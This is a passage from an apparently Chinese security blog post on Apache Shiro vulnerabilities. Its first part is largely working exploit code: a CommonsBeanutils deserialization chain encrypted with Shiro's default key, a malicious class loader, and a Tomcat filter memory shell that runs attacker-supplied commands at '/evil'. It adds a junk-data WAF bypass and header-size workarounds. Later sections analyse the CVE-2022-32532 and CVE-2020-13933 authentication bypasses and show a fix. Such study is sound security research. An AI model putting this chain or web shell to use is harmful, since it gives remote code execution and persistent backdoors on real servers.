bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
Class<?> comparatorClazz = Class.forName("javax.swing.LayoutComparator");
Constructor<?> comparatorClazzConstructor = comparatorClazz.getDeclaredConstructor();
comparatorClazzConstructor.setAccessible(true);
Comparator o = (Comparator) comparatorClazzConstructor.newInstance();
BeanComparator beanComparator = new BeanComparator("outputProperties", o); // outputProperties 可控, 第二个参数传递一个可序列化的 Comparator.
// beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器
PriorityQueue priorityQueue = new PriorityQueue(beanComparator); // 为了防止序列化前, 就会调用 compare 方法, 这里先传递一个没用的 Comparator
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
priorityQueue.add(templates); // 将可控的 templates 传入, 调用则弹计算器
size.set(priorityQueue, 0); // 通过修改 size, 防止 add 方法调用到链路
priorityQueue.add(templates);
size.set(priorityQueue, 2); // 将 size 改回正常的, 防止反序列化时进入不了链路
// 如上已准备好 CB 链
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(priorityQueue);
byte[] escapeData = bos.toByteArray();
// 如上已准备好序列化后的值
AesCipherService aesCipherService = new AesCipherService(); // 创建 AES 加密器.
ByteSource encrypt = aesCipherService.encrypt(escapeData, Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="));
System.out.println(encrypt.toBase64()); // 准备 Base64 值
最终生成的RememberMe
打请求会遇到请求头最大错误:
当我们NeiCunMa
这个类的字节码, 实现Filter
之后, 加入我们注入内存马的逻辑, 会变得特别大. 字节码大了, 经过AES + BASE64
后的值会更大, 这里超过了这个大小. tomcat的maxHttpHeaderSize
默认值只有 4096 个字节 (4k), 我们可以临时修改TOMCAT目录/conf/server.xml
文件, 扩大maxHttpHeaderSize
:
<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443"
maxParameterCount="1000"
maxHttpHeaderSize="409600000"
/>
加入这行后, 我们打过去, 内存马就成功注入到其中了.
绕过请求头大小限制
刚才我们设置的TOMCAT目录/conf/server.xml
, 某些版本tomcat
可以通过payload调取反射修改maxHttpHeaderSize
,而某些又不可以.
所以这里并不使用这个方法, 在这里参考其他师傅的文章, 发现可以传递一个恶意的ClassLoader
, 执行POST
中发送的恶意类内容.
准备如下恶意类:
public class EvilClassLoader extends AbstractTranslet {
static {
try {
ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = requestAttributes.getRequest(); // 拿到 request
String classData = request.getParameter("classData"); // 拿到 Class 值
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class clazz = (Class) defineClassMethod.invoke(EvilClassLoader.class.getClassLoader(), classBytes, 0, classBytes.length);
clazz.newInstance();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
很简单, 加载POST
中的base64
, 解码后当作类字节码进行加载, 随后我们准备如下内存马:
public class NeiCunMa implements Filter {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
// 内存马请求过来主要逻辑
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
String requestURI = httpServletRequest.getRequestURI();
if ("/evil".equals(requestURI)) {
InputStream inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
byte[] myChunk = new byte[1024];
int i = 0;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while ((i = inputStream.read(myChunk)) != -1) {
byteArrayOutputStream.write(myChunk, 0, i);
}
servletResponse.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
static { // 在 static 代码块中进行注入内存马
try {
ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = requestAttributes.getRequest();
ServletContext servletContext = request.getServletContext();
Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
ApplicationContextContext.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
StandardContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
// 下面模拟 ServletContext::addFilter 方法中的动态生成内存马的代码块...
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("heihuFilter");
standardContext.addFilterDef(filterDef);
filterDef.setFilterClass(NeiCunMa.class.getName()); // 设置自己
filterDef.setFilter(new NeiCunMa()); // 放入自己, 因为自己就是 Filter
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterDef.getFilterName());
filterMap.setDispatcher("[REQUEST]");
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap); // 因为该行代码操作的就是 filterMaps
// 创建 ApplicationFilterConfig, 未来往 filterConfigs 里面放
Constructor<?> declaredConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class);
declaredConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor.newInstance(standardContext, filterDef);
// 得到 filterConfigs, 并且往这个 HashMap 中放置我们的 ApplicationFilterConfig
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap<String, ApplicationFilterConfig> myFilterConfigs = (HashMap<String, ApplicationFilterConfig>) filterConfigs.get(standardContext);
myFilterConfigs.put(filterMap.getFilterName(), applicationFilterConfig);
filterConfigs.set(standardContext, myFilterConfigs);
} catch (Exception e) {}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void destroy() {}
}
准备如下POC生成rememberMe:
public class Exp01 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = Repository.lookupClass(EvilClassLoader.class).getBytes(); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
Class<?> comparatorClazz = Class.forName("javax.swing.LayoutComparator");
Constructor<?> comparatorClazzConstructor = comparatorClazz.getDeclaredConstructor();
comparatorClazzConstructor.setAccessible(true);
Comparator o = (Comparator) comparatorClazzConstructor.newInstance();
BeanComparator beanComparator = new BeanComparator("outputProperties", o); // outputProperties 可控, 第二个参数传递一个可序列化的 Comparator.
// beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器
PriorityQueue priorityQueue = new PriorityQueue(beanComparator); // 为了防止序列化前, 就会调用 compare 方法, 这里先传递一个没用的 Comparator
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
priorityQueue.add(templates); // 将可控的 templates 传入, 调用则弹计算器
size.set(priorityQueue, 0); // 通过修改 size, 防止 add 方法调用到链路
priorityQueue.add(templates);
size.set(priorityQueue, 2); // 将 size 改回正常的, 防止反序列化时进入不了链路
// 如上已准备好 CB 链
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(priorityQueue);
byte[] escapeData = bos.toByteArray();
// 如上已准备好序列化后的值
AesCipherService aesCipherService = new AesCipherService(); // 创建 AES 加密器.
ByteSource encrypt = aesCipherService.encrypt(escapeData, Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="));
System.out.println(encrypt.toBase64()); // 准备 Base64 值
}
}
生成POST
中的字节码, 这里一定要进行URL编码一次, 否则会传递失败:
public class MyBase64 {
public static void main(String[] args) {
String encode = URLEncoder.encode(Base64.getEncoder().encodeToString(Repository.lookupClass(NeiCunMa.class).getBytes()));
System.out.println(encode);
}
}
最终可以注入内存马, 并不报错:
绕过请求头大小文章推荐: https://xz.aliyun.com/t/10696#toc-9
https://zhuanlan.zhihu.com/p/395443877
javassist: https://xz.aliyun.com/t/14107
脏数据绕 WAF 原理
在网上看到有人通过在rememberMe
中加入脏数据, 从而成功绕过WAF
, 下面我们来看一下为什么.
可以看到, 图中加了一系列脏数据, 但是计算器仍然可以弹出来. 其原因则是Shiro
在处理Base64解码
时的原理, 我们定位到解码函数看一下:
可以看到, 在Base64
解密时, Shiro
会忽略特殊字符, 这就导致成为了绕WAF
的一种手段.
Shiro 721 条件: 1.2.5 - 1.4.2
Shiro 721 可以说是一个密码学的一个缺陷, 漏洞触发点是一样的, 只是不再是默认KEY. 笔者密码学浅薄, 就不在这里板门弄斧了.
参考: https://blog.csdn.net/Destiny_one/article/details/141137744
CVE-2022-32532 Shiro < 1.9.1 认证绕过
搭建过程就不描述了, 这里使用SpringBoot + Shiro
的一个环境, 参考本文就可以. 只不过我们修改一下Shiro
的引入版本即可:
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.9.0</version>
</dependency>
调用点回顾
根据我们前面读取Shiro
底层源码可知, Shiro
会对每次请求进行处理, 对当前的URI
与Shiro
中已经配置好的过滤器进行匹配, 其匹配核心过程为AbstractShiroFilter::doFilterInternal
方法为请求起点, 这里把流程图简单看一下.
可以看到, 整个URL路径的匹配的过程是交给PathMatcher
的, 而PathMatcher
的实现类只有AntPathMatcher && RegExPatternMatcher
这两种.
漏洞产生原因
其中漏洞点在于RegExPatternMatcher
这个PathMatcher
. 这个Matcher
的匹配规则很简单:
public boolean matches(String pattern, String source) {
if (pattern == null) {
throw new IllegalArgumentException("pattern argument cannot be null.");
}
Pattern p = Pattern.compile(pattern); // 使用了默认的匹配规则, 并没有设置匹配模式.
Matcher m = p.matcher(source);
return m.matches();
}
使用Java
原生的正则表达式进行匹配. 而原生匹配模式中, 这样会返回false
.
public class T1 {
public static void main(String[] args) {
Pattern p = Pattern.compile("/admin/.*");
Matcher m = p.matcher("/admin/hel\nlo"); // 遇到换行符, 返回 false.
boolean matches = m.matches();
System.out.println("匹配结果: " + matches); // 返回 false
}
}
放在URL
匹配中, /admin/.*
表达的含义为: 匹配admin
目录下的所有路径. 但由于没有设置正则表达式的点号匹配所有
模式, 这里可以通过%0a 换行符
进行绕过, 从而绕过了Shiro
安全框架的检测.
修复漏洞案例如下:
public class T1 {
public static void main(String[] args) {
Pattern p = Pattern.compile("/admin/.*", Pattern.DOTALL);
Matcher m = p.matcher("/admin/hel\nlo");
boolean matches = m.matches();
System.out.println("匹配结果: " + matches); // 返回 true
}
}
漏洞鸡肋点
而Shiro
默认使用的匹配器为AntPathMatcher
, 如下:
public AbstractShiroFilter getObject() throws Exception { // ShiroFilterFactoryBean::getObject
if (instance == null) {
instance = createInstance();
}
return instance;
}
protected AbstractShiroFilter createInstance() throws Exception { // ShiroFilterFactoryBean::createInstance()
SecurityManager securityManager = getSecurityManager();
FilterChainManager manager = createFilterChainManager();
PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver(); // 注意这里
chainResolver.setFilterChainManager(manager);
return new SpringShiroFilter((WebSecurityManager) securityManager, chainResolver); // SpringShiroFilter 访问修饰符是 private
/*
private static final class SpringShiroFilter extends AbstractShiroFilter {...}
*/
}
public PathMatchingFilterChainResolver() {
this.pathMatcher = new AntPathMatcher(); // 默认使用 AntPathMatcher, 而不是 RegExPatternMatcher
this.filterChainManager = new DefaultFilterChainManager();
}
所以默认的Shiro
在程序员不设置RegExPatternMatcher
的情况下, 漏洞是无法触发的.
漏洞复现
想要漏洞复现, 就需要手动配置一下RegExPatternMatcher
, 并重写AbstractShiroFilter::createInstance
的方法逻辑, 自己设置一个RegExPatternMatcher
过去. 那么我们就必须继承ShiroFilterFactoryBean
, 重写AbstractShiroFilter::createInstance
方法, 由于SpringShiroFilter
这个类的访问权限为private
, 所以我们只能在AbstractShiroFilter
这个类中进行重新定义.
坑点: 不能使用 createFilterChainManager
定义如下ShiroFilter
:
public class MyShiroFilter extends ShiroFilterFactoryBean {
@Override
protected AbstractShiroFilter createInstance() throws Exception {
SecurityManager securityManager = (SecurityManager) getSecurityManager();
FilterChainManager manager = createFilterChainManager();
PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver(); // 注意这里
chainResolver.setPathMatcher(new RegExPatternMatcher()); // 默认匹配器改为 RegExPatternMatcher
chainResolver.setFilterChainManager(manager);
return new SpringShiroFilter((WebSecurityManager) securityManager, chainResolver);
}
static final class SpringShiroFilter extends AbstractShiroFilter {
protected SpringShiroFilter(WebSecurityManager webSecurityManager, FilterChainResolver resolver) {
setSecurityManager(webSecurityManager);
setFilterChainResolver(resolver);
}
}
}
这里笔者复现时, 遇见了一个问题, 就是我们不能通过createFilterChainManager()
方法来创建FilterChainManager
, 因为这个方法会增加一个默认路由. 受到了CVE-2020-13933
的修复影响.
protected FilterChainManager createFilterChainManager() {
// ... 其他代码
manager.createDefaultChain("/**");
return manager;
}
根据Shiro
底层原理, 当我们的/admin/.*
绕过成功后, 会继续匹配/**
, 而/**
使用了RegExPatternMatcher
会抛出正则表达式错误, 因为/**
不是一个合法的正则表达式. 所以我们只可以通过new FilterChainManager()
. 但new FilterChainManager()
不会对filters
成员属性进行初始化, 没有filters
成员属性, 也就意味着我们没有任何拦截器可用, Shiro
就失效了! 所以我们还需要手动加几个系统内置的Filter
, 很是麻烦!
那么我们修改后的定义如下:
public class MyShiroFilter extends ShiroFilterFactoryBean {
@Override
protected AbstractShiroFilter createInstance() throws Exception {
org.apache.shiro.mgt.SecurityManager securityManager = getSecurityManager();
// FilterChainManager manager = createFilterChainManager(); // 改为如下情况
FilterChainManager manager = new DefaultFilterChainManager();
manager.addFilter("authc",new FormAuthenticationFilter()); // 根据底层需要, 被迫手动添加
manager.addToChain("/user/.*", "authc"); // 根据底层需要, 被迫手动添加
PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver();
chainResolver.setPathMatcher(new RegExPatternMatcher()); // 默认匹配器改为 RegExPatternMatcher
chainResolver.setFilterChainManager(manager);
return new SpringShiroFilter((WebSecurityManager) securityManager, chainResolver);
}
static final class SpringShiroFilter extends AbstractShiroFilter {
protected SpringShiroFilter(WebSecurityManager webSecurityManager, FilterChainResolver resolver) {
setSecurityManager(webSecurityManager);
setFilterChainResolver(resolver);
}
}
}
坑点: 手动创建 Filter, 并加入 PathMatchingFilterChainResolver
上述修改完毕后仍然失败, 原因则是, Shiro
提供的所有Filter
中, 也有自己的匹配器, 它们默认依然是AntPathMatcher
:
所以我们只能通过自定义一个Filter
, 来装上RegExPatternMatcher
, 漏洞才能触发.
public class MyAuthenticationFilter extends AccessControlFilter {
public MyAuthenticationFilter() {
super();
this.pathMatcher = new RegExPatternMatcher(); // 被迫修改系统内置的 PatternMatcher, 否则漏洞无法触发.
}
@Override
protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) throws Exception {
response.getWriter().println("no permission!");
return false; // 设置没有权限访问
}
@Override
protected boolean onAccessDenied(ServletRequest request, ServletResponse response) throws Exception {
return false; // 设置没有权限访问
}
}
并且配置在MyShiroFilter
中:
public class MyShiroFilter extends ShiroFilterFactoryBean {
@Override
protected AbstractShiroFilter createInstance() throws Exception {
org.apache.shiro.mgt.SecurityManager securityManager = getSecurityManager();
// FilterChainManager manager = createFilterChainManager(); // 改为如下情况
FilterChainManager manager = new DefaultFilterChainManager();
manager.addFilter("authc",new MyAuthenticationFilter()); // 根据底层需要, 被迫手动添加
manager.addToChain("/user/.*", "authc"); // 根据底层需要, 被迫手动添加
PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver();
chainResolver.setPathMatcher(new RegExPatternMatcher()); // 默认匹配器改为 RegExPatternMatcher
chainResolver.setFilterChainManager(manager);
return new SpringShiroFilter((WebSecurityManager) securityManager, chainResolver);
}
static final class SpringShiroFilter extends AbstractShiroFilter {
protected SpringShiroFilter(WebSecurityManager webSecurityManager, FilterChainResolver resolver) {
setSecurityManager(webSecurityManager);
setFilterChainResolver(resolver);
}
}
}
ShiroAutoConfiguration
配置如下:
@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean() {
ShiroFilterFactoryBean shiroFilterFactoryBean = new MyShiroFilter();
shiroFilterFactoryBean.setSecurityManager(getSecurityManager()); // 设置安全管理器
shiroFilterFactoryBean.setLoginUrl("/login"); // 默认登录页面
shiroFilterFactoryBean.setUnauthorizedUrl("/login"); // 未认证的情况, 也跳转到登录页面
return shiroFilterFactoryBean;
}
成功复现
定义控制器如下:
@GetMapping("/user/{data}")
@ResponseBody
public String getData(@PathVariable String data) {
return "OK~~ data: " + data;
}
看一下两种情况对比:
实际场景中, 几乎不可能遇到这样编码的程序员. 需要具备三个条件:
- 程序员感觉 Shiro 提供的默认匹配器不好用, 大费周章的自己研究怎么搞正则表达式匹配器
- 程序员知道了怎么搞正则表达式匹配器, 但是总是匹配不上 (匹配到/**), 所以程序员去翻了底层代码进行研究
- 程序员终于配置好了, 正则表达式匹配器也能用, 于是程序员成功使用了
.*
总结: 实战很难遇到, 概率有点非人性化了, 但作为Java漏洞学习一切都值了. 2333...
CVE-2020-13933 Shiro < 1.5.4 认证绕过
漏洞复现
搭建过程就不描述了, 这里使用SpringBoot + Shiro
的一个环境, 参考本文就可以. 只不过我们修改一下Shiro
的引入版本即可:
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.5.3</version>
</dependency>
以及本漏洞需要的配置信息
, 配置在ShiroAutoConfiguration
中:
@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean() {
ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
shiroFilterFactoryBean.setSecurityManager(getSecurityManager()); // 设置安全管理器
HashMap<String, String> filterChainDefinitionMap = new HashMap<>(); // 准备过滤好需过滤的 URL
filterChainDefinitionMap.put("/user/*", "authc"); // 登陆过后才能访问, 使用 /user/任意值 也可以进行漏洞复现
filterChainDefinitionMap.put("/login", "anon"); // 登录口无需
shiroFilterFactoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);
shiroFilterFactoryBean.setLoginUrl("/login"); // 默认登录页面
shiroFilterFactoryBean.setUnauthorizedUrl("/login"); // 未认证的情况, 也跳转到登录页面
return shiroFilterFactoryBean;
}
漏洞触发需要/user/*
一个星号, 如果是/user/**
则不行, 我们准备对应的控制器:
@RestController
@RequestMapping("/user")
public class UserController {
@RequestMapping("/{data}")
public String data(@PathVariable String data) {
return "success! data: " + data;
}
}
那么我们先来一波复现:
下面我们来进行漏洞复现.
漏洞分析
我们知道的是, 在Shiro
中, URL
匹配是由AntPathMatcher
进行处理的, 在处理之前, 会经过一次PathMatchingFilterChainResolver::getChain
操作, 我们看一下该方法做了什么操作:
可以看到, 最终调用了HttpServletRequest.getServletPath()
方法, 比较有意思的是, Tomcat
会自动对传递过来的getServletPath()
进行URL解码操作, 笔者在这里准备一个JSP页面:
<% out.println(request.getServletPath()); %>
那么回到程序正常走向, 看一下后面做了什么操作.
最后处理完毕之后, 删除了最后的/
, 变为了/user
:
而我们知道的是, Shiro
匹配路径信息, 默认是使用的PathMatchingFilterChainResolver::getChain
, 而我们的/user
最终会调用到该方法中, 由于图中处理比较复杂, 所以笔者将分块截图.
那么我们继续往下看:
可以看到的是:
-
如果规则是
/user/**
的话, 那么进入到最后的for
循环之后, 最终return true
, 这样仍然调用进了Shiro
的过滤器进行认证等操作. -
那么这里如果是
*
, 就会直接返回一个false
, 从而绕过了过滤器验证.
而未经过任何验证, 就进入到了SpringBoot
的DispatcherServlet
中, 而我们知道的是, Spring
容器封装了Tomcat
, 我们最终的请求打过去, 最终也会被SpringBoot中的模糊匹配所匹配到, 例如:/xxx
会被/{path}
匹配.
@RestController
@RequestMapping("/user")
public class UserController {
@RequestMapping("/{data}")
public String data(@PathVariable String data) { // SpringBoot 可以找到, 并且 data 由于被 Tomcat 处理, 所以 data 值最终接收的为: ;xxx
return "success! data: " + data;
}
}
Reference
https://www.bilibili.com/video/BV1pa4y1471s/
https://www.cnblogs.com/zwh0910/p/17168833.html
https://blog.csdn.net/m0_54853503/article/details/126114009
https://blog.csdn.net/weixin_44251024/article/details/86544900
https://blog.csdn.net/weixin_54902210/article/details/129122996
https://cert.360.cn/report/detail?id=0a56bda5f00172dd642f2b436ed49cc7
评论2次
没看明白这是什么/layui二开的汽车销售xi统/.还是漏洞报告阿师傅.
漏洞复现
没看明白这是什么/ layui二开的汽车销售xi统/. 还是漏洞报告阿师傅.